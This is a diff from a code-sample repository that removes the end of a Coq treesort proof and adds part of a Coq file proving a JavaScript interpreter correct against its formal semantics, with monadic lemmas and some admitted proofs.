-    apply (@HdRel_inv _ leA) with l0; trivial with datatypes.
-  Qed.
-
-  (** ** From trees to multisets *)
-
-  (** contents of a tree as a multiset *)
-
-  (** Nota Bene : In what follows the definition of SingletonBag
-      in not used. Actually, we could just take as postulate:
-      [Parameter SingletonBag : A->multiset].  *)
-
-  Fixpoint contents (t:Tree) : multiset A :=
-    match t with
-      | Tree_Leaf => emptyBag
-      | Tree_Node a t1 t2 =>
-        munion (contents t1) (munion (contents t2) (singletonBag a))
-    end.
-
-
-  (** equivalence of two trees is equality of corresponding multisets *)
-  Definition equiv_Tree (t1 t2:Tree) := meq (contents t1) (contents t2).
-
-
-
-  (** * From lists to sorted lists *)
-
-  (** ** Specification of heap insertion *)
-
-  Inductive insert_spec (a:A) (T:Tree) : Type :=
-    insert_exist :
-    forall T1:Tree,
-      is_heap T1 ->
-      meq (contents T1) (munion (contents T) (singletonBag a)) ->
-      (forall b:A, leA b a -> leA_Tree b T -> leA_Tree b T1) ->
-      insert_spec a T.
-
-
-  Lemma insert : forall T:Tree, is_heap T -> forall a:A, insert_spec a T.
-  Proof.
-    simple induction 1; intros.
-    apply insert_exist with (Tree_Node a Tree_Leaf Tree_Leaf);
-      auto using node_is_heap, nil_is_heap, leA_Tree_Leaf with datatypes.
-    simpl; unfold meq, munion; auto using node_is_heap with datatypes.
-    elim (leA_dec a a0); intros.
-    elim (X a0); intros.
-    apply insert_exist with (Tree_Node a T2 T0);
-      auto using node_is_heap, nil_is_heap, leA_Tree_Leaf with datatypes.
-    simpl; apply treesort_twist1; trivial with datatypes.
-    elim (X a); intros T3 HeapT3 ConT3 LeA.
-    apply insert_exist with (Tree_Node a0 T2 T3);
-      auto using node_is_heap, nil_is_heap, leA_Tree_Leaf with datatypes.
-    apply node_is_heap; auto using node_is_heap, nil_is_heap, leA_Tree_Leaf with datatypes.
-    apply low_trans with a; auto with datatypes.
-    apply LeA; auto with datatypes.
-    apply low_trans with a; auto with datatypes.
-    simpl; apply treesort_twist2; trivial with datatypes.
-  Qed.
-
-
-  (** ** Building a heap from a list *)
-
-  Inductive build_heap (l:list A) : Type :=
-    heap_exist :
-    forall T:Tree,
-      is_heap T ->
-      meq (list_contents _ eqA_dec l) (contents T) -> build_heap l.
-
-  Lemma list_to_heap : forall l:list A, build_heap l.
-  Proof.
-    simple induction l.
-    apply (heap_exist nil Tree_Leaf); auto with datatypes.
-    simpl; unfold meq; exact nil_is_heap.
-    simple induction 1.
-    intros T i m; elim (insert T i a).
-    intros; apply heap_exist with T1; simpl; auto with datatypes.
-    apply meq_trans with (munion (contents T) (singletonBag a)).
-    apply meq_trans with (munion (singletonBag a) (contents T)).
-    apply meq_right; trivial with datatypes.
-    apply munion_comm.
-    apply meq_sym; trivial with datatypes.
-  Qed.
-
-
-  (** ** Building the sorted list *)
-
-  Inductive flat_spec (T:Tree) : Type :=
-    flat_exist :
-    forall l:list A,
-      Sorted leA l ->
-      (forall a:A, leA_Tree a T -> HdRel leA a l) ->
-      meq (contents T) (list_contents _ eqA_dec l) -> flat_spec T.
-
-  Lemma heap_to_list : forall T:Tree, is_heap T -> flat_spec T.
-  Proof.
-    intros T h; elim h; intros.
-    apply flat_exist with (nil (A:=A)); auto with datatypes.
-    elim X; intros l1 s1 i1 m1; elim X0; intros l2 s2 i2 m2.
-    elim (merge _ s1 _ s2); intros.
-    apply flat_exist with (a :: l); simpl; auto with datatypes.
-    apply meq_trans with
-      (munion (list_contents _ eqA_dec l1)
-        (munion (list_contents _ eqA_dec l2) (singletonBag a))).
-    apply meq_congr; auto with datatypes.
-    apply meq_trans with
-      (munion (singletonBag a)
-        (munion (list_contents _ eqA_dec l1) (list_contents _ eqA_dec l2))).
-    apply munion_rotate.
-    apply meq_right; apply meq_sym; trivial with datatypes.
-  Qed.
-
-
-  (** * Specification of treesort *)
-
-  Theorem treesort :
-    forall l:list A,
-    {m : list A | Sorted leA m & permutation _ eqA_dec l m}.
-  Proof.
-    intro l; unfold permutation.
-    elim (list_to_heap l).
-    intros.
-    elim (heap_to_list T); auto with datatypes.
-    intros.
-    exists l0; auto with datatypes.
-    apply meq_trans with (contents T); trivial with datatypes.
-  Qed.
-
-End defs.
diff --git a/samples/Coq/JsCorrectness.v b/samples/Coq/JsCorrectness.v
new file mode 100644
index 0000000000..fbb798509e
--- /dev/null
+++ b/samples/Coq/JsCorrectness.v
@@ -0,0 +1,5944 @@
+Set Implicit Arguments.
+Require Import Shared.
+Require Import LibFix LibList.
+Require Import JsSyntax JsSyntaxAux JsCommon JsCommonAux JsPreliminary.
+Require Import JsInterpreterMonads JsInterpreter JsPrettyInterm JsPrettyRules.
+
+Ltac tryfalse_nothing :=
+  try match goal with x: nothing |- _ => destruct x end;
+  tryfalse.
+
+(**************************************************************)
+(** ** Implicit Types -- copied from JsPreliminary *)
+
+Implicit Type b : bool.
+Implicit Type n : number.
+Implicit Type k : int.
+Implicit Type s : string.
+Implicit Type i : literal.
+Implicit Type l : object_loc.
+Implicit Type w : prim.
+Implicit Type v : value.
+Implicit Type r : ref.
+Implicit Type ty : type.
+
+Implicit Type rt : restype.
+Implicit Type rv : resvalue.
+Implicit Type lab : label.
+Implicit Type labs : label_set.
+Implicit Type R : res.
+Implicit Type o : out.
+Implicit Type ct : codetype.
+
+Implicit Type x : prop_name.
+Implicit Type str : strictness_flag.
+Implicit Type m : mutability.
+Implicit Type Ad : attributes_data.
+Implicit Type Aa : attributes_accessor.
+Implicit Type A : attributes.
+Implicit Type Desc : descriptor.
+Implicit Type D : full_descriptor.
+
+Implicit Type L : env_loc.
+Implicit Type E : env_record.
+Implicit Type Ed : decl_env_record.
+Implicit Type X : lexical_env.
+Implicit Type O : object.
+Implicit Type S : state.
+Implicit Type C : execution_ctx.
+Implicit Type P : object_properties_type.
+Implicit Type W : result.
+
+Implicit Type e : expr.
+Implicit Type p : prog.
+Implicit Type t : stat.
+
+Implicit Type T : Type.
+
+
+(**************************************************************)
+(** Correctness Properties *)
+
+Record runs_type_correct runs :=
+  make_runs_type_correct {
+    runs_type_correct_expr : forall S C e o,
+       runs_type_expr runs S C e = o ->
+       red_expr S C (expr_basic e) o;
+    runs_type_correct_stat : forall S C t o,
+       runs_type_stat runs S C t = o ->
+       red_stat S C (stat_basic t) o;
+    runs_type_correct_prog : forall S C p o,
+       runs_type_prog runs S C p = o ->
+       red_prog S C (prog_basic p) o;
+
+    runs_type_correct_call : forall S C l v vs o,
+       runs_type_call runs S C l v vs = o ->
+       red_expr S C (spec_call l v vs) o;
+
+    runs_type_correct_call_prealloc : forall S C l B args o,
+       runs_type_call_prealloc runs S C B l args = result_some (specret_out o) ->
+       red_expr S C (spec_call_prealloc B l args) o;
+
+    runs_type_correct_construct : forall S C co l args o, 
+      runs_type_construct runs S C co l args = o ->
+      red_expr S C (spec_construct_1 co l args) o;
+
+    runs_type_correct_function_has_instance : forall S C (lo lv : object_loc) o,
+       runs_type_function_has_instance runs S lo lv = o ->
+       red_expr S C (spec_function_has_instance_2 lv lo) o;
+
+    runs_type_correct_get_args_for_apply : forall S C array (index n : int) y,
+       runs_type_get_args_for_apply runs S C array index n = result_some y ->
+       red_spec S C (spec_function_proto_apply_get_args array index n) y;
+
+    runs_type_correct_object_has_instance : forall S C B l v o,
+       runs_type_object_has_instance runs S C B l v = result_some (specret_out o) ->
+       red_expr S C (spec_object_has_instance_1 B l v) o;
+
+    runs_type_correct_stat_while : forall S C rv ls e t o,
+       runs_type_stat_while runs S C rv ls e t = o ->
+       red_stat S C (stat_while_1 ls e t rv) o;
+    runs_type_correct_stat_do_while : forall S C rv ls e t o,
+       runs_type_stat_do_while runs S C rv ls e t = o ->
+       red_stat S C (stat_do_while_1 ls t e rv) o;
+    runs_type_correct_stat_for_loop : forall S C labs rv eo2 eo3 t o,
+       runs_type_stat_for_loop runs S C labs rv eo2 eo3 t = o ->
+       red_stat S C (stat_for_2 labs rv eo2 eo3 t) o;
+    runs_type_correct_object_delete : forall S C l x str o,
+       runs_type_object_delete runs S C l x str = o ->
+       red_expr S C (spec_object_delete l x str) o;
+    runs_type_correct_object_get_own_prop : forall S C l x sp,
+       runs_type_object_get_own_prop runs S C l x = result_some sp ->
+       red_spec S C (spec_object_get_own_prop l x) sp;
+    runs_type_correct_object_get_prop : forall S C l x sp,
+       runs_type_object_get_prop runs S C l x = result_some sp ->
+       red_spec S C (spec_object_get_prop l x) sp;
+    runs_type_correct_object_get : forall S C l x o,
+       runs_type_object_get runs S C l x = o ->
+       red_expr S C (spec_object_get l x) o;
+    runs_type_correct_object_proto_is_prototype_of : forall S C lthis l o,
+       runs_type_object_proto_is_prototype_of runs S lthis l = o ->
+       red_expr S C (spec_call_object_proto_is_prototype_of_2_3 lthis l) o;
+    runs_type_correct_object_put : forall S C l x v str o,
+       runs_type_object_put runs S C l x v str = o ->
+       red_expr S C (spec_object_put l x v str) o;
+    runs_type_correct_equal : forall S C v1 v2 o,
+       runs_type_equal runs S C v1 v2 = o ->
+       red_expr S C (spec_equal v1 v2) o;
+    runs_type_correct_to_integer : forall S C v o,
+       runs_type_to_integer runs S C v = o ->
+       red_expr S C (spec_to_integer v) o;
+    runs_type_correct_to_string : forall S C v o,
+       runs_type_to_string runs S C v = o ->
+       red_expr S C (spec_to_string v) o;
+
+    (* ARRAYS *)
+    runs_type_correct_array_element_list : forall S C l oes o k,
+       runs_type_array_element_list runs S C l oes k = o ->
+       red_expr S C (expr_array_3 l oes k) o;
+
+    runs_type_correct_object_define_own_prop_array_loop : 
+      forall S C l newLen oldLen newLenDesc newWritable throw o 
+             (def : state -> prop_name -> descriptor -> strictness_flag -> specres nothing) 
+             (def_correct : forall S str o x Desc,
+                def S x Desc str = res_out o ->
+                red_expr S C (spec_object_define_own_prop_1 builtin_define_own_prop_default l x Desc str) o),
+       runs_type_object_define_own_prop_array_loop runs S C l newLen oldLen newLenDesc newWritable throw def = o -> 
+       red_expr S C (spec_object_define_own_prop_array_3l l newLen oldLen newLenDesc newWritable throw) o;
+
+     runs_type_correct_array_join_elements : forall S C l k length sep s o, 
+       runs_type_array_join_elements runs S C l k length sep s = result_some (specret_out o) ->
+       red_expr S C (spec_call_array_proto_join_elements l k length sep s) o
+  }.
+
+
+(**************************************************************)
+(** Useful Tactics *)
+
+Ltac absurd_neg :=
+  let H := fresh in
+  introv H; inverts H; tryfalse.
+
+Hint Constructors abort.
+
+
+(**************************************************************)
+(** General Lemmas *)
+
+Lemma arguments_from_spec_1 : forall args,
+  exists v, arguments_from args (v::nil)
+         /\ get_arg 0 args = v.
+Proof.
+  Hint Constructors arguments_from.
+  intros. destruct args as [|v vs].
+  exists undef. splits*.
+  exists v. splits*.
+Qed.
+
+
+Lemma res_overwrite_value_if_empty_empty : forall R,
+  res_overwrite_value_if_empty resvalue_empty R = R.
+Proof. introv. unfolds. cases_if~. destruct R; simpls; inverts~ e. Qed.
+
+Lemma res_type_res_overwrite_value_if_empty : forall rv R,
+  res_type R = res_type (res_overwrite_value_if_empty rv R).
+Proof.
+  introv. destruct R. unfold res_overwrite_value_if_empty. simpl.
+  cases_if; reflexivity.
+Qed.
+
+Lemma res_label_res_overwrite_value_if_empty : forall rv R,
+  res_label R = res_label (res_overwrite_value_if_empty rv R).
+Proof.
+  introv. destruct R. unfold res_overwrite_value_if_empty. simpl.
+  cases_if; reflexivity.
+Qed.
+
+Lemma res_overwrite_value_if_empty_resvalue : forall rv1 rv2, exists rv3,
+  res_normal rv3 = res_overwrite_value_if_empty rv1 rv2 /\ (rv3 = rv1 \/ rv3 = rv2).
+Proof. introv. unfolds res_overwrite_value_if_empty. cases_if*. Qed.
+
+
+Lemma get_arg_correct : forall args vs,
+  arguments_from args vs ->
+  forall num,
+    num < length vs ->
+    get_arg num args = LibList.nth num vs.
+Proof.
+  introv A. induction~ A.
+   introv I. false I. lets (I'&_): (rm I). inverts~ I'.
+   introv I. destruct* num. rewrite nth_succ. rewrite <- IHA.
+    unfolds. repeat rewrite~ nth_def_nil.
+    rewrite length_cons in I. nat_math.
+   introv I. destruct* num. rewrite nth_succ. rewrite <- IHA.
+    unfolds. rewrite~ nth_def_succ.
+    rewrite length_cons in I. nat_math.
+Qed.
+
+Lemma get_arg_correct_0 : forall args,
+  arguments_from args (get_arg 0 args :: nil).
+Proof. introv. destruct args; do 2 constructors. Qed.
+
+Lemma get_arg_correct_1 : forall args,
+  arguments_from args (get_arg 0 args :: get_arg 1 args :: nil).
+Proof. introv. destruct args as [|? [|? ?]]; do 3 constructors. Qed.
+
+Lemma get_arg_correct_2 : forall args,
+  arguments_from args (get_arg 0 args :: get_arg 1 args :: get_arg 2 args :: nil).
+Proof. introv. destruct args as [|? [|? [|? ?]]]; do 4 constructors. Qed.
+
+Lemma get_arg_first_and_rest_correct : forall args v lv,
+  (v, lv) = get_arg_first_and_rest args <-> 
+  arguments_first_and_rest args (v, lv).
+Proof.
+  induction args; introv; splits; introv Hyp; 
+  unfolds get_arg_first_and_rest; unfolds get_arg; 
+  simpls; inverts~ Hyp.
+Qed.
+
+Lemma and_impl_left : forall P1 P2 P3 : Prop,
+  (P1 -> P2) ->
+  P1 /\ P3 ->
+  P2 /\ P3.
+Proof. auto*. Qed.
+
+Ltac applys_and_base L :=
+  applys~ and_impl_left; [applys~ L|]; try reflexivity.
+
+Tactic Notation "applys_and" constr(E) :=
+  applys_and_base (>> E).
+
+Tactic Notation "applys_and" constr(E) constr(A1) :=
+  applys_and_base (>> E A1).
+
+Tactic Notation "applys_and" constr(E) constr(A1) constr(A2) :=
+  applys_and_base (>> E A1 A2).
+
+Tactic Notation "applys_and" constr(E) constr(A1) constr(A2) constr(A3) :=
+  applys_and_base (>> E A1 A2 A3).
+
+Ltac constructors_and :=
+  let H := fresh in
+  eapply and_impl_left; [ intro H; constructors; exact H |].
+
+
+Lemma run_callable_correct : forall S v co,
+  run_callable S v = Some co ->
+  callable S v co.
+Proof.
+  introv E. destruct v; simpls~.
+   inverts~ E.
+   sets_eq <- B: (pick_option (object_binds S o)). destruct B; simpls; tryfalse.
+    exists o0. splits~. forwards~: @pick_option_correct EQB. inverts~ E.
+Qed.
+
+
+(**************************************************************)
+(** Monadic Constructors, Lemmas *)
+
+(* Shared defs *)
+
+(** [eqabort o1 o] assert that [o1] and [o] are equal
+    and satisfy the [abort] predicate. *)
+
+Definition eqabort o1 o :=
+  o = o1 /\ abort o.
+
+Ltac prove_abort :=
+  solve [ assumption | (constructor; absurd_neg) ].
+
+(** [isout W Pred] asserts that [W] is in fact
+    an outcome that satisfies [Pred]. *)
+
+Definition isout W (Pred:out->Prop) :=
+  exists o1, W = res_out o1 /\ Pred o1.
+
+Hint Unfold isout.
+Hint Unfold eqabort.
+
+(* Generic *)
+
+Lemma if_empty_label_out : forall T K S R (o : T),
+  if_empty_label S R K = result_some o ->
+  res_label R = label_empty /\ K tt = result_some o.
+Proof. introv H. unfolds in H. cases_if; tryfalse. eexists; auto*. Qed.
+
+Lemma if_some_out : forall (A B : Type) (oa : option A) K (b : B),
+  if_some oa K = result_some b ->
+  exists (a:A), oa = Some a /\ K a = result_some b.
+Proof. introv E. destruct* oa; tryfalse. Qed.
+
+Lemma if_result_some_out : forall (A B : Type) (W : resultof A) K (b : B),
+  if_result_some W K = result_some b ->
+  exists (y : A), W = result_some y /\ K y = result_some b.
+Proof. introv H. destruct* W; tryfalse. Qed.
+
+Lemma if_some_or_default_out : forall (A B : Type) (oa : option A) d K (b : B),
+  if_some_or_default oa d K = b ->
+     (oa = None /\ d = b)
+  \/ (exists a, oa = Some a /\ K a = b).
+Proof. introv E. destruct* oa; tryfalse. Qed.
+
+
+(* Results *)
+
+Definition if_ter_post (K : _ -> _ -> result) o o1 :=
+     (o1 = out_div /\ o = o1)
+  \/ (exists S R, o1 = out_ter S R /\ K S R = o).
+
+Lemma if_ter_out : forall W K o,
+  if_ter W K = res_out o ->
+  isout W (if_ter_post K o).
+Proof.
+  introv H. destruct W as [[|o1]| | | ]; simpls; tryfalse_nothing.
+  exists o1. splits~. unfolds. destruct o1 as [|S R].
+   inverts* H.
+   jauto.
+Qed.
+
+Definition if_success_state_post rv0 (K : _ -> _ -> result) o o1 :=
+  (o1 = out_div /\ o = o1) \/
+  (exists S R, o1 = out_ter S R /\ res_type R = restype_throw /\ o = out_ter S R) \/
+  (exists S R, o1 = out_ter S R /\ res_type R <> restype_throw /\
+    res_type R <> restype_normal /\ o = out_ter S (res_overwrite_value_if_empty rv0 R)) \/
+  exists S rv, o1 = out_ter S (res_normal rv) /\
+    K S (ifb rv = resvalue_empty then rv0 else rv) = res_out o.
+
+Lemma if_success_state_out : forall rv W K o,
+  if_success_state rv W K = o ->
+  isout W (if_success_state_post rv K o).
+Proof.
+  introv E. forwards~ (o1&WE&P): if_ter_out (rm E). subst W. eexists. splits*.
+  inversion_clear P as [?|(S&R&?&H)]. branch~ 1.
+  substs. destruct R as [rt rv' rl]. destruct~ rt; simpls;
+    try solve [branch 3; repeat eexists; [discriminate | discriminate | inverts~ H]].
+   forwards~ (?&?): if_empty_label_out (rm H). simpls. substs.
+    branch 4. repeat eexists. auto*.
+   inverts H. branch 2. repeat eexists.
+Qed.
+
+Definition if_success_post (K : _ -> _ -> result) o o1 :=
+  eqabort o1 o \/
+  exists S rv, o1 = out_ter S (res_normal rv) /\ K S rv = o.
+
+Lemma if_success_out : forall W K o,
+  if_success W K = res_out o ->
+  isout W (if_success_post K o).
+Proof.
+  introv E. forwards~ (o1&WE&P): if_ter_out (rm E). subst W. eexists. splits*.
+  inversion_clear P as [[? ?]|(S&R&?&H)]. substs. branch~ 1.
+  substs. destruct R as [rt rv' rl]. destruct~ rt; simpls;
+     try solve [inverts H; branch 1; splits~; prove_abort].
+   forwards~ (?&?): if_empty_label_out (rm H). simpls. substs.
+    branch 2. repeat eexists. auto*.
+Qed.
+
+  (* Documentation: same with unfolding:
+    Lemma if_success_out : forall W K o,
+      if_success W K = o ->
+      exists o1, W = res_out o1 /\
+       (   (o = o1 /\ abort o)
+        \/ (exists S rv, o1 = out_ter S rv /\ K S rv = o)).
+  *)
+
+Definition if_void_post (K : _ -> result) o o1 :=
+  eqabort o1 o \/
+  exists S, o1 = out_void S /\ K S = o.
+
+Lemma if_void_out : forall W K o,
+  if_void W K = o ->
+  isout W (if_void_post K o).
+Proof.
+  introv E. unfolds in E.
+  forwards~ (o1&WE&P): if_success_out (rm E). exists o1. split~.
+  unfolds. unfolds in P.
+  inversion_clear P as [[? ?]|(S&R&?&?)]; subst; [ left* | right ].
+  exists S. destruct R; tryfalse. auto.
+Admitted. (*faster*)
+
+(* if_not_throw *)
+
+Definition if_not_throw_post (K : _ -> _ -> result) o o1 :=
+  eqabort o1 o \/
+  (exists S R, o1 = out_ter S R /\
+     ((res_type R <> restype_throw /\ K S R = o) \/
+      (res_type R  = restype_throw /\ o = o1))).
+
+Hint Extern 1 (_ <> _ :> restype) => congruence.
+
+Lemma if_not_throw_out : forall W K o,
+  if_not_throw W K = o -> 
+  isout W (if_not_throw_post K o).
+Proof.
+  introv E. unfolds in E.
+  forwards~ (o1 & WE & P): if_ter_out (rm E).
+  exists o1. split~.
+  unfolds. unfolds in P.
+
+  inversion_clear P as [[? ?] | (S & R & ? & ?)]. branch~ 1.
+  splits~. substs~.
+  right. exists S R; splits~.
+  destruct (res_type R); try solve [left; splits~; discriminate].
+  right; splits~. subst. inverts~ H0.
+Qed.
+
+Definition if_any_or_throw_post (K1 K2 : _ -> _ -> result) o o1 :=
+  (o1 = out_div /\ o = o1) \/
+  (exists S R, o1 = out_ter S R /\
+    (   (res_type R <> restype_throw /\ K1 S R = o)
+     \/ (res_type R = restype_throw /\ exists (v : value), res_value R = v
+           /\ res_label R = label_empty /\ K2 S v = o))). (* Didn't worked when writing [exists (v : value), R = res_throw v]. *)
+
+Lemma if_any_or_throw_out : forall W K1 K2 o,
+  if_any_or_throw W K1 K2 = res_out o ->
+  isout W (if_any_or_throw_post K1 K2 o).
+Proof.
+  introv E. unfolds in E.
+  forwards~ (o1&WE&P): if_ter_out (rm E). exists o1. split~.
+  unfolds. unfolds in P.
+  inversion_clear P as [[? ?]|(S&R&?&?)]; subst; [ left* | right ].
+  exists S R. split~. destruct (res_type R); tryfalse; simple*.
+  right. destruct (res_value R); tryfalse; simple*. split*.
+  forwards*: if_empty_label_out.
+Admitted. (*faster*)
+
+Definition if_success_or_return_post (K1 : state -> result) (K2 : state -> resvalue -> result) o o1 :=
+     (o1 = out_div /\ o = o1)
+  \/ exists S R, o1 = out_ter S R /\
+     (   (res_type R = restype_normal /\ res_label R = label_empty /\ K1 S = o)
+      \/ (res_type R = restype_return /\ res_label R = label_empty /\ K2 S (res_value R) = o)
+      \/ (res_type R <> restype_normal /\ res_type R <> restype_return /\ o1 = o)).
+
+Lemma if_success_or_return_out : forall W (K1 : state -> result) (K2 : state -> resvalue -> result) o,
+  if_success_or_return W K1 K2 = o ->
+  isout W (if_success_or_return_post K1 K2 o).
+Proof.
+  introv E. unfolds in E.
+  forwards~ (o1&WE&P): if_ter_out (rm E). exists o1. split~.
+  unfolds. unfolds in P.
+  inversion_clear P as [[? ?]|(S&R&H&E)]; subst; [ left* | right ].
+  exists S R. split~. destruct (res_type R); tryfalse; simple*.
+  branch 1. forwards*: if_empty_label_out.
+  branch 3. inverts* E.
+  branch 3. inverts* E.
+  branch 2. forwards*: if_empty_label_out.
+  branch 3. inverts* E.
+Admitted. (*faster*)
+
+(* TODO: misssing
+    if_normal_continue_or_break *)
+
+Definition if_break_post (K : _ -> _ -> result) o o1 :=
+     (o1 = out_div /\ o = o1)
+  \/ (exists S R, o1 = out_ter S R /\
+      (   (res_type R <> restype_break /\ o1 = o)
+       \/ (res_type R = restype_break /\ K S R = o))).
+
+Lemma if_break_out : forall W K o,
+  if_break W K = o ->
+  isout W (if_break_post K o).
+Proof.
+  introv E. unfolds in E.
+  forwards~ (o1&WE&P): if_ter_out (rm E). exists o1. split~.
+  unfolds. unfolds in P.
+  inversion_clear P as [[? ?]|(S&R&H&E)]; subst; [ left* | right ].
+  exists S R. split~. destruct (res_type R); try inverts E; simple*.
+Admitted. (*faster*)
+
+Definition if_value_post (K : _ -> _ -> result) o o1 :=
+  eqabort o1 o \/
+  exists S v, o1 = out_ter S (res_val v) /\ K S v = o.
+
+Lemma if_value_out : forall W K o,
+  if_value W K = res_out o ->
+  isout W (if_value_post K o).
+Proof.
+  introv E. unfolds in E.
+  forwards~ (o1&WE&P): if_success_out (rm E). exists o1. split~.
+  unfolds. unfolds in P.
+  inversion_clear P as [[? ?]|(S&R&H&E)]; subst; [ left* | right ].
+  destruct R; tryfalse. exists___*.
+Admitted. (*faster*)
+
+Definition if_bool_post (K : _ -> _ -> result) o o1 :=
+  eqabort o1 o \/
+  exists S z, o1 = out_ter S (res_val (prim_bool z)) /\ K S z = o.
+
+Lemma if_bool_out : forall W K o,
+  if_bool W K = res_out o ->
+  isout W (if_bool_post K o).
+Proof.
+  introv E. unfolds in E.
+  forwards~ (o1&WE&P): if_value_out (rm E). exists o1. split~.
+  unfolds. unfolds in P.
+  inversion_clear P as [[? ?]|(S&R&H&E)]; subst; [ left* | right ].
+  destruct R; tryfalse. destruct p; tryfalse. exists___*.
+Admitted. (*faster*)
+
+
+Definition if_object_post (K : _ -> _ -> result) o o1 :=
+  eqabort o1 o \/
+  exists S l, o1 = out_ter S (res_val (value_object l)) /\ K S l = o.
+
+Lemma if_object_out : forall W K o,
+  if_object W K = res_out o ->
+  isout W (if_object_post K o).
+Proof.
+  introv E. unfolds in E.
+  forwards~ (o1&WE&P): if_value_out (rm E). exists o1. split~.
+  unfolds. unfolds in P.
+  inversion_clear P as [[? ?]|(S&R&H&E)]; subst; [ left* | right ].
+  destruct R; tryfalse. exists___*.
+Admitted. (*faster*)
+
+
+Definition if_string_post (K : _ -> _ -> result) o o1 :=
+  eqabort o1 o \/
+  exists S s, o1 = out_ter S (res_val (prim_string s)) /\ K S s = o.
+
+Lemma if_string_out : forall W K o,
+  if_string W K = res_out o ->
+  isout W (if_string_post K o).
+Proof.
+  introv E. unfolds in E.
+  forwards~ (o1&WE&P): if_value_out (rm E). exists o1. split~.
+  unfolds. unfolds in P.
+  inversion_clear P as [[? ?]|(S&R&H&E)]; subst; [ left* | right ].
+  destruct R; tryfalse. destruct p; tryfalse. exists___*.
+Admitted. (*faster*)
+
+
+Definition if_number_post (K : _ -> _ -> result) o o1 :=
+  eqabort o1 o \/
+  exists S n, o1 = out_ter S (res_val (prim_number n)) /\ K S n = o.
+
+Lemma if_number_out : forall W K o,
+  if_number W K = res_out o ->
+  isout W (if_number_post K o).
+Proof.
+  introv E. unfolds in E.
+  forwards~ (o1 & WE & P): if_value_out (rm E). exists o1. split~.
+  unfolds. unfolds in P.
+  inversion_clear P as [[? ?]|(S&R&H&E)]; subst; [ left* | right ].
+  destruct R; tryfalse. destruct p; tryfalse. exists___*.
+Admitted. (*faster*)
+
+Definition if_prim_post (K : _ -> _ -> result) o o1 :=
+  eqabort o1 o \/
+  exists S w, o1 = out_ter S (res_val (value_prim w)) /\ K S w = o.
+
+Lemma if_prim_out : forall W K o,
+  if_prim W K = res_out o ->
+  isout W (if_prim_post K o).
+Proof.
+  introv E. unfolds in E.
+  forwards~ (o1&WE&P): if_value_out (rm E). exists o1. split~.
+  unfolds. unfolds in P.
+  inversion_clear P as [[? ?]|(S&R&H&E)]; subst; [ left* | right ].
+  destruct R; tryfalse. exists___*.
+Admitted. (*faster*)
+
+Lemma if_abort_out : forall T o K (t : T),
+  if_abort o K = result_some t ->
+  abort o /\ K tt = result_some t.
+Proof. introv H. destruct* o. simpls. cases_if*. Qed.
+
+Definition if_spec_post (A B:Type) K (b:specret B) y :=
+     (exists o, y = specret_out o /\ b = specret_out o /\ abort o)
+  \/ (exists (S:state) (a:A), y = specret_val S a /\ K S a = result_some b).
+
+Lemma if_spec_out : forall (A B : Type) (W : specres A) K (b : specret B),
+  if_spec W K = result_some b ->
+  exists y, W = result_some y /\ if_spec_post K b y.
+Proof.
+  introv E. unfolds in E. unfolds in E.
+  destruct W; tryfalse. exists s. split~.
+  unfolds. destruct s; [ right | left ].
+    exists___*.
+    lets (?&H): if_abort_out E. inverts H. exists___*.
+Admitted. (* faster *)
+
+
+Definition if_ter_spec_post T K (y:specret T) o :=
+     (y = specret_out o /\ abort o)
+  \/ (exists S, exists (R : res), o = out_ter S R /\ K S R = result_some y).
+
+Lemma if_ter_spec : forall T W K (y : specret T),
+  if_ter W K = result_some y ->
+  isout W (if_ter_spec_post K y).
+Proof.
+  introv H. destruct W as [[|o1]| | | ]; simpls; tryfalse_nothing.
+  exists o1. splits~. unfolds. destruct o1 as [|S R].
+   inverts* H.
+   jauto.
+Qed.
+
+Definition if_success_spec_post T K (y:specret T) o :=
+     (y = specret_out o /\ abort o)
+  \/ (exists S, exists (rv : resvalue), o = out_ter S rv /\ K S rv = result_some y).
+
+Lemma if_success_spec : forall T W K (y : specret T),
+  if_success W K = result_some y ->
+  exists (o : out), W = o /\ if_success_spec_post K y o. (* LATER:  Change to [isout] *)
+Proof.
+  introv E. forwards~ (o1&WE&P): if_ter_spec (rm E). subst W. eexists. splits*.
+  inversion_clear P as [[? ?]|(S&R&?&H)]. substs. branch~ 1.
+  substs. destruct R as [rt rv' rl]. destruct~ rt; simpls;
+     try solve [inverts H; branch 1; splits~; prove_abort].
+   forwards~ (?&?): if_empty_label_out (rm H). simpls. substs.
+    branch 2. repeat eexists. auto*.
+Qed.
+
+Definition if_value_spec_post T K (y:specret T) o :=
+     (y = specret_out o /\ abort o)
+  \/ (exists S, exists (v : value), o = out_ter S v /\ K S v = result_some y).
+
+Lemma if_value_spec : forall T W K (y : specret T),
+  if_value W K = result_some y ->
+  exists (o : out), W = o /\ if_value_spec_post K y o.
+Proof.
+  introv E. unfolds in E.
+  forwards~ (o1&WE&P): if_success_spec (rm E). exists o1. split~.
+  unfolds. unfolds in P.
+  inversion_clear P as [[? ?]|(S&R&H&E)]; subst; [ left* | right ].
+  destruct R; tryfalse. exists___*.
+Admitted. (*faster*)
+
+Definition if_prim_spec_post T K (y:specret T) o :=
+     (y = specret_out o /\ abort o)
+  \/ (exists S, exists (w : prim), o = out_ter S w /\ K S w = result_some y).
+
+Lemma if_prim_spec : forall T W K (y : specret T),
+  if_prim W K = result_some y ->
+  exists (o : out), W = o /\ if_prim_spec_post K y o.
+Proof.
+  introv E. unfolds in E.
+  forwards~ (o1&WE&P): if_value_spec (rm E). exists o1. split~.
+  unfolds. unfolds in P.
+  inversion_clear P as [[? ?]|(S&R&H&E)]; subst; [ left* | right ].
+  destruct R; tryfalse. exists___*.
+Admitted. (*faster*)
+
+Definition if_bool_spec_post T K (y:specret T) o :=
+     (y = specret_out o /\ abort o)
+  \/ (exists S, exists (b : bool), o = out_ter S b /\ K S b = result_some y).
+
+Lemma if_bool_spec : forall T W K (y : specret T),
+  if_bool W K = result_some y ->
+  exists (o : out), W = o /\ if_bool_spec_post K y o.
+Proof.
+  introv E. unfolds in E.
+  forwards~ (o1&WE&P): if_value_spec (rm E). exists o1. split~.
+  unfolds. unfolds in P.
+  inversion_clear P as [[? ?]|(S&R&H&E)]; subst; [ left* | right ].
+  destruct R; tryfalse. destruct p; tryfalse. exists___*.
+Admitted. (*faster*)
+
+Definition if_number_spec_post T K (y:specret T) o :=
+     (y = specret_out o /\ abort o)
+  \/ (exists S, exists (n : number), o = out_ter S n /\ K S n = result_some y).
+
+Lemma if_number_spec : forall T W K (y : specret T),
+  if_number W K = result_some y ->
+  exists (o : out), W = o /\ if_number_spec_post K y o.
+Proof.
+  introv E. unfolds in E.
+  forwards~ (o1&WE&P): if_value_spec (rm E). exists o1. split~.
